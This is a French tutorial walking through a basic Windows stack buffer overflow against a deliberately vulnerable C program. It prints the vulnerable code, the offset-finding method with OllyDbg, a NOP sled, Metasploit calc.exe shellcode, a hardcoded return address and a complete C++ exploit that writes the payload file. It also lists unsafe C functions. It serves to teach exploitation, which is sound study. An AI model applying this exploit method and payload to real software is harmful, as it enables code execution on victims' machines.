Tutoriel démonstration d`exploitation d`un Buffer OverFlow Basique

Transcription

Tutoriel démonstration d`exploitation d`un Buffer OverFlow Basique
Tutoriel démonstration d'exploitation d'un Buffer OverFlow Basique
Tutoriel Inspiré/Traduit de PhoenixBit .
code source vulnerable :
Vuln.c
#include <stdio.h>
#include <string.h>
int ReadaFile(char*,char*,int);
int VulnFunction(char *cptr){
char LocalBuffer[300] = "Donnees Fichier : ";
strcpy(LocalBuffer+18,cptr);
printf("%s\n\n\n",LocalBuffer);
return 0;
}
int main(){
char buf[1000];
char FileName[] = "monfichier.txt";
ReadaFile(buf,FileName,1000);
VulnFunction(buf);
system("Pause");
return 0;
}
int ReadaFile(char *buffer,char *Fname,int Limit){
int c;
int n=0;
FILE *f;
f = fopen(Fname,"r");
while((c=getc(f))!=EOF)
{
if (n<Limit){
buffer[n++] = c;
}
}
buffer[n++] = 0;
fclose(f);
return 0;
}
Les buffer OverFlow (Dépassement de tampon)
Un buffer overflow est une attaque très efficace et assez compliquée à réaliser.
Elle vise à exploiter un débordement de mémoire sur une application dans le but d'y exécuter un code arbitraire qui compromettra la machine
utilisant le soft vulnérable
(exécution de commande , prise de contrôle de la machine , acquisition des droits administrateur, etc )
l'exploitation d'un buffer overflow consiste a faire crasher un soft vulnerable en y écrivant dans don Buffer (zone de mémoire) plus de
données qu'il ne peut en contenir ce qui permet donc avec une bonne syntax utilisé (shellcode) d'écrire du code arbitraire , et qui serra donc
exécuté par la suite sur la machine .
Cette technique unpeu complexe permet une prise de contrôle total sur la machine utilisant le soft vulnérable
Dans le code source vulnérable suivant , un fichier nomé monfichier.txt va etre ouvert pour y mettre en mémoire son contenu .
tout dabords on fait subir au programme un test simple qui consiste a le "bouriner" de A (c'est en quelque sorte une règle pour la détection
des buffer overflow mais sa pourrait être n'importe quoi d'autre )
une foi "bouriné" de A ( A x 400 dans notre exemple ) le programme vulnérable va planter , il y a donc débordement dans la mémoire
par la suite on va devoir généré un nombre important de hash , les metre les un a la suite des autre pour y effectué un débordement avec ,
avec ollyDBG nous verrons donc l'adresse ou le code a débordé[Access Violation when executing "33326463" dans notre exemple ] ,
cette adresse mise au bon format
[par exemple 30623764 devient %64%37%62%30 ] va etre converti au format texte ASCII [d7b0] , puis le résultat obtenue rechercher dans
la ligne des hash qui on précédement fait débordé la mémoire , se code correspond aux commencement du débordement de la mémoire , se
qui le précede est donc une chaine dont sa taille serra a soustraire avec celle du shell ( 298 - 164 dans notre cas ) et dont le résultat sera a
mutliplier par le code de débordement [ \x90 multiplié par 134 sur notre exemple ]
Maintenant nous passons du coté exploit , 3 partie sont importante pour l'execution du code arbitraire :
1 la surcharge de la memoire
dans notre cas donc 140 x \x90 :
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
2 le shell code ( http://metasploit.com:55555/ )
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b"
"\x27\x3d\x46\x83\xeb\xfc\xe2\xf4\x97\xcf\x79\x46\x6b\x27\xb6\x03"
"\x57\xac\x41\x43\x13\x26\xd2\xcd\x24\x3f\xb6\x19\x4b\x26\xd6\x0f"
"\xe0\x13\xb6\x47\x85\x16\xfd\xdf\xc7\xa3\xfd\x32\x6c\xe6\xf7\x4b"
"\x6a\xe5\xd6\xb2\x50\x73\x19\x42\x1e\xc2\xb6\x19\x4f\x26\xd6\x20"
"\xe0\x2b\x76\xcd\x34\x3b\x3c\xad\xe0\x3b\xb6\x47\x80\xae\x61\x62"
"\x6f\xe4\x0c\x86\x0f\xac\x7d\x76\xee\xe7\x45\x4a\xe0\x67\x31\xcd"
"\x1b\x3b\x90\xcd\x03\x2f\xd6\x4f\xe0\xa7\x8d\x46\x6b\x27\xb6\x2e"
"\x57\x78\x0c\xb0\x0b\x71\xb4\xbe\xe8\xe7\x46\x16\x03\xd7\xb7\x42"
"\x34\x4f\xa5\xb8\xe1\x29\x6a\xb9\x8c\x44\x5c\x2a\x08\x09\x58\x3e"
"\x0e\x27\x3d\x46";
3 l'adresse EIP a exploité
On va donc d'abord écrire la surcharge de la memoire ( 134 x \x90 dans notre exemple )
Trouver le shellcode sur metasploit
( /!\ ATTENTION : il se pourait que votre shell code ne marche pas malgré que votre technique soit bonne , il faut donc parfois changer le
type d'encodage du shell code [ PexFnstenvSub par exemple ] )
et c'est la que commence notre histoire d'adresse EIP* à exploiter ( EIP est le pointeur de la prochaine instruction à exécuter.)
pour débuter il faut dabord ouvrir le soft vulnerable via OllyDBG.exe , (avant toute chose compilez l'exploit meme si l'EIP n'est pas valable
et lancez le) .
une foi ouvert avec ollyDBG , on va chercher dans la derniere feunetre(en bas a droite) l'adresse ou commence le débordement [ search for
binary string => 90 90 90 90 ]
on tombera donc sur la première adresse ou commence la mise en mémoire
(dans notre cas 0022F3A2) par la suite ,
on se penche sur une autre case en bas a gauche ( Adress | Hex dum | ASCII ... ) et nous allons donc rechercher cette adresse .
nous tomberons alors la aussi sur le débordement .
il suffit de choisire l'EIP quelques adresse plus bas en plein débordement , se qui donnera dans notre cas 0022F3C2
et le réécrire a la bonne syntax=> \xC2\xF3\x22\x00
voila une foi avoir mis a la bonne syntax le premier code de débordement ,
inséré le shellcode ,
mettre a la bonne syntax l'EIP a exploiter ,
il ne reste plus qu'a les mettre dans le bonne ordre et écrire ( ou envoyer ) les code assemblé obtenue vers le soft vulnérable ou l'endroit ou il
va les mettre en mémoire .
Exploit :
#include <iostream>
#include <fstream>
using namespace std;
int main(){
/* win32_exec_calc.exe */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b"
"\x27\x3d\x46\x83\xeb\xfc\xe2\xf4\x97\xcf\x79\x46\x6b\x27\xb6\x03"
"\x57\xac\x41\x43\x13\x26\xd2\xcd\x24\x3f\xb6\x19\x4b\x26\xd6\x0f"
"\xe0\x13\xb6\x47\x85\x16\xfd\xdf\xc7\xa3\xfd\x32\x6c\xe6\xf7\x4b"
"\x6a\xe5\xd6\xb2\x50\x73\x19\x42\x1e\xc2\xb6\x19\x4f\x26\xd6\x20"
"\xe0\x2b\x76\xcd\x34\x3b\x3c\xad\xe0\x3b\xb6\x47\x80\xae\x61\x62"
"\x6f\xe4\x0c\x86\x0f\xac\x7d\x76\xee\xe7\x45\x4a\xe0\x67\x31\xcd"
"\x1b\x3b\x90\xcd\x03\x2f\xd6\x4f\xe0\xa7\x8d\x46\x6b\x27\xb6\x2e"
"\x57\x78\x0c\xb0\x0b\x71\xb4\xbe\xe8\xe7\x46\x16\x03\xd7\xb7\x42"
"\x34\x4f\xa5\xb8\xe1\x29\x6a\xb9\x8c\x44\x5c\x2a\x08\x09\x58\x3e"
"\x0e\x27\x3d\x46";
char Nops[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90";
char EvilEIP[] = "\xC2\xF3\x22\x00";
cout << "exploit en cour ....";
ofstream myFile;
myFile.open("monfichier.txt");
myFile << Nops << scode << EvilEIP;
myFile.close();
cout << "FINI\n\n\n\n\n";
system("vuln.exe")
return 0;
}
fonctions a risque dont il faut effectuer les vérifications systématiques par rapport a leurs tailles en mémoire alloué :
realpath();
sprintf();
strcpy();
strcat();
getwd();
scanf();
gets();
---------------------Les langage qui ne sont pas vulnérable au Buffer Over-Flow :
C#
Java
VB.net
Cyclone
---------------------Traducteur / Auteur : NeoCoderz

Documents pareils